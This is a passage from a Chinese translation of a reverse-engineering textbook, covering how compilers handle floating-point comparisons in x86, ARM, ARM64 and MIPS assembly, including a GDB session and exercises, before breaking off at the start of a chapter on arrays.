OllyDbg:执行 FNSTSW 指令 此后执行 TEST 指令,如图 17.24 所示。 图 17.24 OllyDbg:执行 TEST 指令 异步社区会员 dearfuture(15918834820) 专享 尊重版权 210 逆向工程权威指南(上册) 在执行 TEST 置零之后,ZF=1,不会触发条件转移指令。 如图 17.25 所示,在执行 FSTP ST(1)的时候,FPU 栈顶的值是 5.6。 图 17.25 OllyDbg:执行 FSTP 指令 可见,FSTP ST(1)指令不会操作 FPU 栈顶的值,而会清空 ST(1)寄存器的值。 GCC 4.4.1 指令清单 17.12 GCC 4.4.1 d_max proc near b = qword ptr -10h a = qword ptr -8 a_first_half = dword ptr 8 a_second_half = dword ptr 0Ch b_first_half = dword ptr 10h b_second_half = dword ptr 14h push ebp mov ebp, esp sub esp, 10h ; put a and b to local stack: mov eax, [ebp+a_first_half] mov dword ptr [ebp+a], eax mov eax, [ebp+a_second_half] mov dword ptr [ebp+a+4], eax mov eax, [ebp+b_first_half] mov dword ptr [ebp+b], eax mov eax, [ebp+b_second_half] mov dword ptr [ebp+b+4], eax ; load a and b to FPU stack: fld [ebp+a] fld [ebp+b] ; current stack state: ST(0) - b; ST(1) - a fxch st(1) ; this instruction swapping ST(1) and ST(0) ; current stack state: ST(0) - a; ST(1) – b fucompp ; compare a and b and pop two values from stack, i.e., a and b fnstsw ax ; store FPU status to AX sahf ; load SF, ZF, AF, PF, and CF flags state from AH setnbe al ; store 1 to AL if CF=0 and ZF=0 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 17 章 FPU 211 test al, al ; AL==0 ? jz short loc_8048453 ; yes fld [ebp+a] jmp short locret_8048456 loc_8048453: fld [ebp+b] locret_8048456: leave retn d_max endp FUCOMPP 与 FCOM 指令的功能相似。它的全称是“Floating-Point Unsigned Compare And Pop”,所以它还能 够从 FPU 栈中把两个比较的数值 POP 出来。此外,它们处理非数——“not-a-number/NaN” ①的方式也有所不同。 FPU 能够处理特定类型的 NaN,如无限大、除以 0 的结果等。NaN 又分为 Quiet NaN 和 Signaling NaN。 对 Quiet NaN 进行操作可能不会出现问题,但是对 Signaling NaN 进行运算将会引发错误(异常处理)。 只要在 FCOM 的操作数中有 NaN,该指令就会引发异常处理机制。而 FUCOM 仅在处理 Signaling NaN (简称为 SNaN)时才会报错。 下一条指令是标志位传送指令 SAHF(Store AH into Flags)。这条指令与 FPU 无关。具体来说,它把 AH 寄存器的 8 个比特位以下列顺序传递到 CPU 的 8 位标志位里: 7 6 4 2 0 SF ZF AF PF CF 在前文的例子中,我们关注过 FSNSTSW 指令。它把标志位 C3/C2/C0 以下列顺序复制到 AH 寄存器的 第 6、2、0 位里: 6 2 1 0 C3 C2 C1 C0 换而言之,成对使用 FNSTSW AX /SAHF 这两条指令,可以把 FPU 的 C3/C2/C0 标志位复制到 CPU 的 ZF/PF/CF 标志位。 现在回忆一下 C3/C2/C0 标志位的几种情况:  如果 a>b,则 C3/C2/C0 依次为 0、0、0。  如果 a<b,则它们依次为 0、0、1。  如果 a=b,则它们依次为 1、0、0。 即,在执行过 FUCOMPP/FNSTSW/SAHF 这组指令之后,CPU 的标志位:  如果 a>b,则 ZF=0、PF=0、CF=0。  如果 a<b,则 ZF=0、PF=0、CF=1。  如果 a=b,则 ZF=1、PF=0、CF=0。 SETNBE 可以根据 CPU 标志位和有关限定条件把 AL 寄存器设置为 0 或 1。SETNBE 只在 CF 和 ZF 寄存器都为 0 的情况下,设置 AL 为 1,其他情况下设置 AL=0。SETcc 和 Jcc ②是孪生兄弟。不过 SETcc 的作用是按条件赋值(0 或 1),而 Jcc 的作用是按条件进行跳转。 在本例中,只有在 a>b 的情况下,CF 和 ZF 标志位才同时为 0 。 这种情况下 AL 将会被赋值为 1,程序不会触发 JZ 跳转,函数返回值是_a;否则函数返回值是_b。 Optimizing GCC 4.4.1 经 GCC 4.4.1(启用优化选项-O3)编译上述程序,可得到如下所示的汇编指令。 ① http://en.wikipedia.org/wiki/NaN。 ② cc 即条件判断指令的通称,如 AE、BE、E 等。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 212 逆向工程权威指南(上册) 指令清单 17.13 Optimizing GCC 4.4.1 public d_max d_max proc near arg_0 = qword ptr 8 arg_8 = qword ptr 10h push ebp mov ebp, esp fld [ebp+arg_0] ; _a fld [ebp+arg_8] ; _b ; stack state now: ST(0) = _b, ST(1) = _a fxch st(1) ; stack state now: ST(0) = _a, ST(1) = _b fucom st(1) ; compare _a and _b fnstsw ax sahf ja short loc_8048448 ; store ST(0) to ST(0) (idle operation), pop value at top of stack, ; leave _b at top fstp st jmp short loc_804844A loc_8048448: ; store _a to ST(1), pop value at top of stack, leave _a at top fstp st(1) loc_804844A: pop ebp retn d_max endp 优化编译的效果集中体现在 SAHF 指令之后的 JA 指令上。实际上,依据无符号类型数据的比较结果进行 跳转的条件转移指令(JA/JAE, JB/ JBE, JE/JZ, JNA/ JNAE, JNB/ JNBE, JNE/JNZ),只检测 CF 和 ZF 标志位。 在执行 FSTSW/FNSTSW 指令后,C3/C2/C0 标志位的值将传递给 AH 寄存器。AH 与 Cx 的关系是: 6 2 1 0 C3 C2 C1 C0 在执行标志位传送指令 SAHF(Store AH into Flags)后,AH 寄存器的各比特位与 CPU 的 8 位标志位的 对应关系就变成了: 7 6 4 2 0 SF ZF AF PF CF 对照上述两个图表可知在比较数值的一系列操作之后 C3 和 C0 标志位的值被传送到 ZF 和 CF 标志位, 以供后续的条件转移指令调用。如果 CF 和 ZF 都为 0,则 JA 跳转将会被触发。 很显然,FPU 的 C3/C2/C0 状态位之所以占用寄存器的相应数权,是为了方便把 FPU 的标志位复制到 CPU 标志位上、以便进行条件判断。这多半是有意而为之。 GCC 4.8.1 –启用优化选项-O3 Intel P6 系列 ①的 FPU 指令组新增加了一组指令。这些指令是 FUCOMI(比较操作数并设置主 CPU 的 标志位)和 FCMOVcc(相当于处理 FPU 寄存器的 CMOVcc 指令)。GCC 的维护人员采用了全新的指令集 设计 GCC,显然他们决定不再支持 P6 以前的 CPU(也就是奔腾时代以前的 CPU)。 ① Pentium Pro, Pentium-II 之后的 CPU。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 17 章 FPU 213 另外,自 Intel P6 系列 CPU 起,Intel CPU 都整合了 FPU。这使得 FPU 直接修改、检测 CPU 标志位成为可能。 经 GCC 4.8.1 优化编译后,可得到如下所示的指令。 指令清单 17.14 Optimizing GCC 4.8.1 fld QWORD PTR [esp+4] ; load "a" fld QWORD PTR [esp+12] ; load "b" ; ST0=b, ST1=a fxch st(1) ; ST0=a, ST1=b ; compare "a" and "b" fucomi st, st(1) ; move ST1 (b here) to ST0 if a<=b ; leave a in ST0 otherwise fcmovbe st, st(1) ; discard value in ST1 fstp st(1) ret FXCH 指令把栈寄存器 ST (1)的值与栈顶 ST (0)的值进行交换,并保留栈顶指针。实际上,如果交换 前两条 FLD 指令、或者把 FCMOVBE(BE 代表 below or equal)替换为 FCMOVA(A 代表 above)指令,那么 就可以不用 FXCH 指令了。或许是因为编译器的优化功能尚未到位。 其后,FUCOMI 比较 ST(0)(即变量 a)和 ST(1)的值(即变量 b),并在 CPU 上设置标志位。接下来 FCOMVBE 指令检查这些标志位,并进行下述操作如果 ST(0)≤ST(1),即 a≤b,就把 ST(1)的值(此时 是 a)复制给 ST(0)寄存器。条件不成立,就是 a>b 的情况,它将保持 ST(0)的值不变。 最后一条 FSTP 指令将 ST(0) 寄存器中的值复制到目标操作数 ST(1),然后弹出寄存器堆栈。为了弹出 寄存器堆栈,处理器将 ST(0) 寄存器标记为空,并调整硬件上的堆栈指针(TOP)、便之递增 1。 使用 GDB 调试这个程序,可得到如下所示的指令。 指令清单 17.15 Optimizing GCC 4.8.1 and GDB 1 dennis@ubuntuvm:~/polygon$ gcc -O3 d_max.c -o d_max -fno-inline 2 dennis@ubuntuvm:~/polygon$ gdb d_max 3 GNU gdb (GDB) 7.6.1-ubuntu 4 Copyright (C) 2013 Free Software Foundation, Inc. 5 License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> 6 This is free software: you are free to change and redistribute it. 7 There is NO WARRANTY, to the extent permitted by law. Type "show copying" 8 and "show warranty" for details. 9 This GDB was configured as "i686-linux-gnu". 10 For bug reporting instructions, please see: 11 <http://www.gnu.org/software/gdb/bugs/>... 12 Reading symbols from /home/dennis/polygon/d_max...(no debugging symbols found)...done. 13 (gdb) b d_max 14 Breakpoint 1 at 0x80484a0 15 (gdb) run 16 Starting program: /home/dennis/polygon/d_max 17 18 Breakpoint 1, 0x080484a0 in d_max () 19 (gdb) ni 20 0x080484a4 in d_max () 21 (gdb) disas $eip 22 Dump of assembler code for function d_max: 23 0x080484a0 <+0>: fldl 0x4(%esp) 24 => 0x080484a4 <+4>: fldl 0xc(%esp) 25 0x080484a8 <+8>: fxch %st(1) 26 0x080484aa <+10>: fucomi %st(1),%st 27 0x080484ac <+12>: fcmovbe %st(1),%st 28 0x080484ae <+14>: fstp %st(1) 29 0x080484b0 <+16>: ret 30 End of assembler dump. 31 (gdb) ni 异步社区会员 dearfuture(15918834820) 专享 尊重版权 214 逆向工程权威指南(上册) 32 0x080484a8 in d_max () 33 (gdb) info float 34 R7: Valid 0x3fff9999999999999800 +1.199999999999999956 35 =>R6: Valid 0x4000d999999999999800 +3.399999999999999911 36 R5: Empty 0x00000000000000000000 37 R4: Empty 0x00000000000000000000 38 R3: Empty 0x00000000000000000000 39 R2: Empty 0x00000000000000000000 40 R1: Empty 0x00000000000000000000 41 R0: Empty 0x00000000000000000000 42 43 Status Word: 0x3000 44 TOP: 6 45 Control Word: 0x037f IM DM ZM OM UM PM 46 PC: Extended Precision (64-bits) 47 RC: Round to nearest 48 Tag Word: 0x0fff 49 Instruction Pointer: 0x73:0x080484a4 50 Operand Pointer: 0x7b:0xbffff118 51 Opcode: 0x0000 52 (gdb) ni 53 0x080484aa in d_max () 54 (gdb) info float 55 R7: Valid 0x4000d999999999999800 +3.399999999999999911 56 =>R6: Valid 0x3fff9999999999999800 +1.199999999999999956 57 R5: Empty 0x00000000000000000000 58 R4: Empty 0x00000000000000000000 59 R3: Empty 0x00000000000000000000 60 R2: Empty 0x00000000000000000000 61 R1: Empty 0x00000000000000000000 62 R0: Empty 0x00000000000000000000 63 64 Status Word: 0x3000 65 TOP: 6 66 Control Word: 0x037f IM DM ZM OM UM PM 67 PC: Extended Precision (64-bits) 68 RC: Round to nearest 69 Tag Word: 0x0fff 70 Instruction Pointer: 0x73:0x080484a8 71 Operand Pointer: 0x7b:0xbffff118 72 Opcode: 0x0000 73 (gdb) disas $eip 74 Dump of assembler code for function d_max: 75 0x080484a0 <+0>: fldl 0x4(%esp) 76 0x080484a4 <+4>: fldl 0xc(%esp) 77 0x080484a8 <+8>: fxch %st(1) 78 => 0x080484aa <+10>: fucomi %st(1),%st 79 0x080484ac <+12>: fcmovbe %st(1),%st 80 0x080484ae <+14>: fstp %st(1) 81 0x080484b0 <+16>: ret 82 End of assembler dump. 83 (gdb) ni 84 0x080484ac in d_max () 85 (gdb) info registers 86 eax 0x1 1 87 ecx 0xbffff1c4 -1073745468 88 edx 0x8048340 134513472 89 ebx 0xb7fbf000 -1208225792 90 esp 0xbffff10c 0xbffff10c 91 ebp 0xbffff128 0xbffff128 92 esi 0x0 0 93 edi 0x0 0 94 eip 0x80484ac 0x80484ac <d_max+12> 95 eflags 0x203 [ CF IF ] 96 cs 0x73 115 97 ss 0x7b 123 98 ds 0x7b 123 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 17 章 FPU 215 99 es 0x7b 123 100 fs 0x0 0 101 gs 0x33 51 102 (gdb) ni 103 0x080484ae in d_max () 104 (gdb) info float 105 R7: Valid 0x4000d999999999999800 +3.399999999999999911 106 =>R6: Valid 0x4000d999999999999800 +3.399999999999999911 107 R5: Empty 0x00000000000000000000 108 R4: Empty 0x00000000000000000000 109 R3: Empty 0x00000000000000000000 110 R2: Empty 0x00000000000000000000 111 R1: Empty 0x00000000000000000000 112 R0: Empty 0x00000000000000000000 113 114 Status Word: 0x3000 115 TOP: 6 116 Control Word: 0x037f IM DM ZM OM UM PM 117 PC: Extended Precision (64-bits) 118 RC: Round to nearest 119 Tag Word: 0x0fff 120 Instruction Pointer: 0x73:0x080484ac 121 Operand Pointer: 0x7b:0xbffff118 122 Opcode: 0x0000 123 (gdb) disas $eip 124 Dump of assembler code for function d_max: 125 0x080484a0 <+0>: fldl 0x4(%esp) 126 0x080484a4 <+4>: fldl 0xc(%esp) 127 0x080484a8 <+8>: fxch %st(1) 128 0x080484aa <+10>: fucomi %st(1),%st 129 0x080484ac <+12>: fcmovbe %st(1),%st 130 => 0x080484ae <+14>: fstp %st(1) 131 0x080484b0 <+16>: ret 132 End of assembler dump. 133 (gdb) ni 134 0x080484b0 in d_max () 135 (gdb) info float 136 =>R7: Valid 0x4000d999999999999800 +3.399999999999999911 137 R6: Empty 0x4000d999999999999800 138 R5: Empty 0x00000000000000000000 139 R4: Empty 0x00000000000000000000 140 R3: Empty 0x00000000000000000000 141 R2: Empty 0x00000000000000000000 142 R1: Empty 0x00000000000000000000 143 R0: Empty 0x00000000000000000000 144 145 Status Word: 0x3800 146 TOP: 7 147 Control Word: 0x037f IM DM ZM OM UM PM 148 PC: Extended Precision (64-bits) 149 RC: Round to nearest 150 Tag Word: 0x3fff 151 Instruction Pointer: 0x73:0x080484ae 152 Operand Pointer: 0x7b:0xbffff118 153 Opcode: 0x0000 154 (gdb) quit 155 A debugging session is active. 156 157 Inferior 1 [process 30194] will be killed. 158 159 Quit anyway? (y or n) y 160 dennis@ubuntuvm:~/polygon$ 使用“ni”指令可以执行头两条 FLD 指令。 再使用第 33 行的指令检查 FPU 寄存器的状态。 前文(17.5.1 节)介绍过,FPU 寄存器属于循环缓冲区的逻辑构造,它实际上不是标准的栈结构。所以 GDB 异步社区会员 dearfuture(15918834820) 专享 尊重版权 216 逆向工程权威指南(上册) 不会把寄存器名称显示为助记符“ST(x)”,而是显示出 FPU 寄存器的内部名称,Rx。第 35 行所示的箭头表示 该行的寄存器是当前的栈顶。您可从第 44 行的“Status Word/状态字”里找到栈顶寄存器的编号。本例中栈顶状 态字为 6,所以栈顶是 6 号内部寄存器。 在第 54 行处,FXCH 指令交换了变量 a 和变量 b 的数值。 在执行过第 83 行的 FUCOMI 指令后,我们可在第 95 行看到 CF 为 1。 第 104 行,FCMOVBE 指令复制变量 b 的值。 第 136 行的 FSTP 指令会调整栈顶,也会弹出一个值。而后 TOP 的值变为 7,FPU 栈指针指向第 7 寄存器。 17.7.2 ARM Optimizing Xcode 4.6.3 (LLVM) (ARM mode) 指令清单 17.16 Optimizing Xcode 4.6.3 (LLVM) (ARM mode) VMOV D16, R2, R3 ; b VMOV D17, R0, R1 ; a VCMPE.F64 D17, D16 VMRS APSR_nzcv, FPSCR VMOVGT.F64 D16, D17 ; copy "a" to D16 VMOV R0, R1, D16 BX LR 这段程序的代码很简短。函数把输入变量存储到 D17、D16 寄存器之后,使用 VCMPE 指令比较这两个变量 的值。与x86 处理器相仿,ARM 处理器也有自己的状态寄存器和标识寄存器、其协作处理器也存在相关的FPSCR ①。 虽然 ARM 模式的指令集存在条件转移指令,但是它的条件转移指令都不能直接访问协作处理器的状 态寄存器。这个特点和 x86 系统相同。所以,ARM 平台也有专门的指令把协作处理器的 4 个标识位(N、 Z、C、V)复制到通用状态寄存器的 ASPR 寄存器里,即 VMRS 指令。 VMOVGT 是 FPU 上的 MOVGT 指令,在操作数大于另一个操作数时进行赋值操作。这个指令的后缀 GT 代表“Greater Than”。 如果触发了 VMOVGT 指令,则会把 D17 里变量 a 的值复制到 D16 寄存器里。 否则,D16 寄存器将会保持原来的变量 a 的值。 倒数第二条指令 VMOV 的作用是制备返回值,它把 D16 寄存器里 64 位的值拆分为 1 对 32 的值,并 分别存储于通用寄存器 R0 和 R1 里。 Optimizing Xcode 4.6.3 (LLVM) (Thumb-2 mode) 使用 Xcode 4.6.3(开启优化选项)、以 Thumb-2 模式编译上述程序可得到如下所示的指令。 指令清单 17.17 Optimizing Xcode 4.6.3 (LLVM) (Thumb-2 mode) VMOV D16, R2, R3 ; b VMOV D17, R0, R1 ; a VCMPE.F64 D17, D16 VMRS APSR_nzcv, FPSCR IT GT VMOVGT.F64 D16, D17 VMOV R0, R1, D16 BX LR Thumb-2 模式的代码和 ARM 模式的程序大体相同。确实,很多 ARM 模式的指令都存在对应的依相 应条件才会执行的衍生指令。 但是 Thumb 模式没有这种衍生的执行条件指令。Thumb 模式的 opcode 只有 16 位。这个空间存储不下 条件判断表达式所需的那 4 位的存储空间。 ① ARM 平台的 Floating-Point Status and Control Register。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 17 章 FPU 217 而扩充后的 Thumb-2 指令集则没有上述缺陷,它们可以封装 Thumb 模式欠缺的条件判断表达式。 在 IDA 显示的汇编指令清单里,我们可以看到 Thumb-2 模式的代码里也出现 VMOVGT 指令。 此处的实际指令是 VMOV 指令,IDA 为其添加了-GT 后缀。为了直观地体现前面那条指令“IT GT” 的条件判断作用,IDA 在此使用了伪指令。 IT 指令与所谓的 if-then 语句存在明确的对应关系。在 IT 指令之后的指令(最多 4 条指令),相当于 在 then 语句模块里的一组条件运行指令。在本例中“IT GT”的涵义是:如果前面比较的数值,第一个值 “大于/Greater Than”第二个值,则执行后续模块的 1 条指令。 我们来看下“愤怒的小鸟(iOS 版)”里的代码片段。 指令清单 17.18 Angry Birds Classic ... ITE NE VMOVNE R2, R3, D16 VMOVEQ R2, R3, D17 BLX _objc_msgSend ; not prefixed ... “ITE”是“if-then-else”的缩写。这个指令后有两条指令:第一条就是 then 模块,第二条就是 else 模块。 我们再从“愤怒的小鸟”里找段更为复杂的代码。 指令清单 17.19 Angry Birds Classic ... ITTTT EQ MOVEQ R0, R4 ADDEQ SP, SP, #0x20 POPEQ.W {R8,R10} POPEQ {R4-R7,PC} BLX ___stack_chk_fail ; not prefixed ... ITTTT 里有 4 个 T,代表 then 语句有 4 条指令。根据这个信息,IDA 给后续的 4 条指令添加了 EQ 伪后缀。 确实有 ITEEE EQ 这种形式的指令,代表“if-then-else-else-else-else”。在解析到这条指令后,IDA 会给其后的 5 条指令依次添加下述后缀: -EQ -NE -NE -NE 我们继续分析“愤怒的小鸟”里的其他程序片段。 指令清单 17.20 Angry Birds Classic ... CMP.W R0, #0xFFFFFFFF ITTE LE SUBLE.W R10, R0, #1 NEGLE R0, R0 MOVGT R10, R0 MOVS R6, #0 ; not prefixed CBZ R0, loc_1E7E32 ; not prefixed ... ITTELE 表示如果“小于或等于/LE(Less or Equal)”的条件成立,则执行 then 模块的 2 条指令,否则 (“大于”情况下)执行 else 模块的第 3 条指令。 虽然 I-T-E 类型的指令可以有多个 T 和多个 E,但是编译器还没有聪明到按需分配所有排列组合的程序。以“愤 怒的小鸟”(iOS 经典版)为例,那个时候的编译器只能分配“IT,ITE,ITT,ITTE,ITTT,ITTTT”这几种判断语句。调 查 IDA 生成的汇编指令清单就可以验证这点。在生成汇编指令清单文件的时候,启用相关选项 IDA 同步输出每条 异步社区会员 dearfuture(15918834820) 专享 尊重版权 218 逆向工程权威指南(上册) 指令的 4 字节 opcode。因为 IT 指令的高 16 位的 opcode 是 0xBF,所以我们应当使用的 Linux 分析指令是: cat AngryBirdsClassic.lst | grep " BF" | grep "IT" > results.lst 另外,如果您要使用 ARM 的汇编语言手工编写 Thumb-2 模式的应用程序,那么只要您在指令后面添 加相应的条件判断后缀,编译器就会自动添加相应的 IT 指令验证相应标志位。 Non-optimizing Xcode 4.6.3 (LLVM) (ARM mode) 指令清单 17.21 Non-optimizing Xcode 4.6.3 (LLVM) (ARM mode) b = -0x20 a = -0x18 val_to_return = -0x10 saved_R7 = -4 STR R7, [SP,#saved_R7]! MOV R7, SP SUB SP, SP, #0x1C BIC SP, SP, #7 VMOV D16, R2, R3 VMOV D17, R0, R1 VSTR D17, [SP,#0x20+a] VSTR D16, [SP,#0x20+b] VLDR D16, [SP,#0x20+a] VLDR D17, [SP,#0x20+b] VCMPE.F64 D16, D17 VMRS APSR_nzcv, FPSCR BLE loc_2E08 VLDR D16, [SP,#0x20+a] VSTR D16, [SP,#0x20+val_to_return] B loc_2E10 loc_2E08 VLDR D16, [SP,#0x20+b] VSTR D16, [SP,#0x20+val_to_return] loc_2E10 VLDR D16, [SP,#0x20+val_to_return] VMOV R0, R1, D16 MOV SP, R7 LDR R7, [SP+0x20+b],#4 BX LR 这段程序使用了栈结构来处理变量 a 和变量 b,所以操作略微烦琐。其他方面很好理解。 Optimizing Keil 6/2013 (Thumb mode) 使用 Keil 6/2013(开启优化选项)、以 Thumb 模式编译上述程序可得到如下所示的指令。 指令清单 17.22 Optimizing Keil 6/2013 (Thumb mode) PUSH {R3-R7,LR} MOVS R4, R2 MOVS R5, R3 MOVS R6, R0 MOVS R7, R1 BL __aeabi_cdrcmple BCS loc_1C0 MOVS R0, R6 MOVS R1, R7 POP {R3-R7,PC} loc_1C0 MOVS R0, R4 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 17 章 FPU 219 MOVS R1, R5 POP {R3-R7,PC} 因为运行 Thumb 指令的硬件平台未必会有 FPU 硬件,所以 Keil 不会生成 FPU 的硬指令。因此在比较 浮点数时,Keil 没有直接使用 FPU 的比较指令,而是使用了额外的库函数__aeabi_cdrcmple 进行仿真处理。 需要注意的是,本程序调用的仿真函数会在比较数值后保留 CPU 标志位,所以后面可以直接执行 BCS (B-Carry Set,大于或等于的情况下触发 B 跳转)之类的条件执行指令。 17.7.3 ARM64 Optimizing GCC (Linaro) 4.9 d_max: ; D0 - a, D1 - b fcmpe d0, d1 fcsel d0, d0, d1, gt ; now result in D0 ret ARM64 处理器的 FPU 指令集,能够不通过 FPSCR 直接设置 APSR。至少,在逻辑上 FPU 不再独立于 主处理器。此处的 FCMPE 指令负责比较 D0 和 D1 寄存器中的值(即函数的第一、第二参数),并根据比 较结果设置相应的 APSR 标识位(N、Z、C、V)。 FCSEL(Floating Conditional Select)首先判断条件 GT(Greater Than)是否成立,然后会选择性地复 制 D0 或 D1 的值到 D0 寄存器。需要强调的是,在进行条件判断的时候,这个指令依据 APSR 寄存器里的 标识、而非 FPSCR 里的标识进行判断。相比早期的 CPU 而言,ARM64 平台的这种“可直接访问 APSR” 的特性算得上是一种进步。 如果条件表达式(GT)为真,那么 D0 将复制 D0 的值(即不发生值变化)。如果该条件表达式不成立, 则 D0 将复制 D1 寄存器的值。 Non-optimizing GCC (Linaro) 4.9 d_max: ; save input arguments in "Register Save Area" sub sp, sp, #16 str d0, [sp,8] str d1, [sp] ; reload values ldr x1, [sp,8] ldr x0, [sp] fmov d0, x1 fmov d1, x0 ; D0 - a, D1 - b fcmpe d0, d1 ble .L76 ; a>b; load D0 (a) into X0 ldr x0, [sp,8] b .L74 .L76: ; a<=b; load D1 (b) into X0 ldr x0, [sp] .L74: ; result in X0 fmov d0, x0 ; result in D0 add sp, sp, 16 ret 在关闭优化编译功能之后,编译出来的程序很庞大。首先,函数把输入参数存储于局部数据栈 (Register Save Area)。接着把这些值复制到 X0/X1 寄存器,再把它们复制到 D0/D1 中、使用 FCMPE 进 异步社区会员 dearfuture(15918834820) 专享 尊重版权 220 逆向工程权威指南(上册) 行比较。虽然这种程序的效率不高,不过在非优化模式下,编译器就本来是这样生成程序的。FCMPE 在进行比较之后设置相应的 APSR 标识。不过,我们可以看出编译器没有考虑使用更为方便的 FCSEL 指令。所以它使用了较为古老的方式进行编译:它在此次分配了 BLE(Branch if Less than or Equal)指 令。在 a>b 的情况下,变量 a 的值将传递到 X0 寄存器;否则,变量 b 的值将传递给 X0 寄存器。最终, X0 的值传递给 D0 寄存器,成为函数的返回值。 练习题 请在不使用新指令(包括 FCSEL 指令)的前提下,优化本例的程序。 Optimizing GCC (Linaro) 4.9—float 在把参数的数据类型从 double 替换为 float 之后,再进行编译: float f_max (float a, float b) { if (a>b) return a; return b; }; f_max: ; S0 - a, S1 - b fcmpe s0, s1 fcsel s0, s0, s1, gt ; now result in S0 ret 程序使用了 S-字头的寄存器,而不再使用 D-字头寄存器。这是因为 S-字头寄存器的 32 位(即 64 位 D 字头寄存器的低 32 位)已经满足单精度浮点的存储需要了。 17.7.4 MIPS 即使是当今最受欢迎的 MIPS 处理器,其协作处理器也只能设置一个条件标识位。供 CPU 访问。早期 的 MIPS 处理器只有一个标识条件位(即 FCC0),现已逐步扩展到了 8 个(即 FCC7~FCC0)。这些条件标 识位位于浮点条件码寄存器(FCCR)。 指令清单 17.23 Optimizing GCC 4.4.5 (IDA) d_max: ; set FPU condition bit if $f14<$f12 (b<a): c.lt.d $f14, $f12 or $at, $zero ; NOP ; jump to locret_14 if condition bit is set bc1t locret_14 ; this instruction is always executed (set return value to "a"): mov.d $f0, $f12 ; branch delay slot ; this instruction is executed only if branch was not taken (i.e., if b>=a) ; set return value to "b": mov.d $f0, $f14 locret_14: jr $ra or $at, $zero ; branch delay slot, NOP “C.LT.D”是比较两个数值的指令。在它的名称中,“LT”表示条件为“Less Than”,“D”表示其数据 类型为 double。它将根据比较的结果设置、或清除 FCC0 条件位。 “BC1T”检测 FCC0 位,如果该标识位被置位(值为 1)则进行跳转。“T”是 True 的缩写,表示 该指令的运行条件是“标识位被置位(True)”。实际上确实存在对应的 BC1F 指令,在判定条件为 False 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 17 章 FPU 221 的时候进行跳转。 无论上述条件转移指令是否发生跳转,它都决定了$F0 的最终取值。 17.8 栈、计算器及逆波兰表示法 现在,我们可以理解部分旧式计算器采取逆波兰表示法 ①的道理了。例如,在计算“12+34”时,这种 计算器要依次按下“12”、“34”和加号。这种计算器采用了堆栈机器(stack machine)的构造。逆波兰记 法不需要括号来标识操作符的优先级。所以,在计算复杂表达式时,这种构造计算器的操作十分简单。 17.9 x64 有关 x86-64 系统处理浮点数的方法,请参见本书第 27 章。 17.10 练习题 17.10.1 题目 1 请去除 17.7.1 节所示例子中的 FXCH 指令,进行改写并进行测试。 17.10.2 题目 2 请描述下述代码的功能。 指令清单 17.24 Optimizing MSVC 2010 __real@4014000000000000 DQ 04014000000000000r ; 5 _a1$ = 8 ;size=8 _a2$ = 16 ;size=8 _a3$ = 24 ;size=8 _a4$ = 32 ;size=8 _a5$ = 40 ;size=8 _f PROC fld QWORD PTR _a1$[esp-4] fadd QWORD PTR _a2$[esp-4] fadd QWORD PTR _a3$[esp-4] fadd QWORD PTR _a4$[esp-4] fadd QWORD PTR _a5$[esp-4] fdiv QWORD PTR __real@4014000000000000 ret 0 _f ENDP 指令清单 17.25 Non-optimizing Keil 6/2013 (Thumb mode/compiled for Cortex-R4F CPU) f PROC VADD.F64 d0,d0,d1 VMOV.F64 d1,#5.00000000 VADD.F64 d0,d0,d2 VADD.F64 d0,d0,d3 VADD.F64 d2,d0,d4 VDIV.F64 d0,d2,d1 ① Reverse Polish notation,请参见 https://en.wikipedia.org/wiki/Reverse_Polish_notation。 异步社区会员 dearfuture(15918834820) 专享 尊重版权 222 逆向工程权威指南(上册) BX lr ENDP 指令清单 17.26 Optimizing GCC 4.9 (ARM64) f: fadd d0, d0, d1 fmov d1, 5.0e+0 fadd d2, d0, d2 fadd d3, d2, d3 fadd d0, d3, d4 fdiv d0, d0, d1 ret 指令清单 17.27 Optimizing GCC 4.4.5 (MIPS) (IDA) f: arg_10 = 0x10 arg_14 = 0x14 arg_18 = 0x18 arg_1C = 0x1C arg_20 = 0x20 arg_24 = 0x24 lwc1 $f0, arg_14($sp) add.d $f2, $f12, $f14 lwc1 $f1, arg_10($sp) lui $v0, ($LC0 >> 16) add.d $f0, $f2, $f0 lwc1 $f2, arg_1C($sp) or $at, $zero lwc1 $f3, arg_18($sp) or $at, $zero add.d $f0, $f2 lwc1 $f2, arg_24($sp) or $at, $zero lwc1 $f3, arg_20($sp) or $at, $zero add.d $f0, $f2 lwc1 $f2, dword_6C or $at, $zero lwc1 $f3, $LC0 jr $ra div.d $f0, $f2 $LC0: .word 0x40140000 # DATA XREF: f+C # f+44 dword_6C: .word 0 # DATA XREF: f+3C 异步社区会员 dearfuture(15918834820) 专享 尊重版权 第 第 1188 章 章 数 数 组 组 在内存中,数组就是按次序排列的、相同数据类型的一组数据。 18.1 简介 #include <stdio.h> int main() { int a[20]; int i; for (i=0; i<20; i++) a[i]=i*2; for (i=0; i<20; i++) printf ("a[%d]=%d\n", i, a[i]); return 0; }; 18.1.1 x86 MSVC 使用 MSVC 2008 编译上述程序可得如下所示的指令。 指令清单 18.1 MSVC 2008 _TEXT SEGMENT _i$ = -84 ; size = 4 _a$ = -80 ; size = 80 _main PROC push ebp mov ebp, esp sub esp, 84 ; 00000054H mov DWORD PTR _i$[ebp], 0 jmp SHORT $LN6@main $LN5@main: mov eax, DWORD PTR _i$[ebp] add eax, 1 mov DWORD PTR _i$[ebp], eax $LN6@main: cmp DWORD PTR _i$[ebp], 20; 00000014H jge SHORT $LN4@main mov ecx, DWORD PTR _i$[ebp] shl ecx, 1 mov edx, DWORD PTR _i$[ebp] mov DWORD PTR _a$[ebp+edx*4], ecx jmp SHORT $LN5@main $LN4@main: mov DWORD PTR _i$[ebp], 0 jmp SHORT $LN3@main 异步社区会员 dearfuture(15918834820) 专享 尊重版权 224 逆向工程权威指南(上册) $LN2@main: mov eax, DWORD PTR _i$[ebp] add eax, 1 mov DWORD PTR _i$[ebp], eax $LN3@main: cmp DWORD PTR _i$[ebp], 20 ; 00000014H jge SHORT $LN1@main mov ecx, DWORD PTR _i$[ebp] mov edx, DWORD PTR _a$[ebp+ecx*4] push edx mov eax, DWORD PTR _i$[ebp] push eax push OFFSET $SG2463 call _printf add esp, 12 ; 0000000cH jmp SHORT 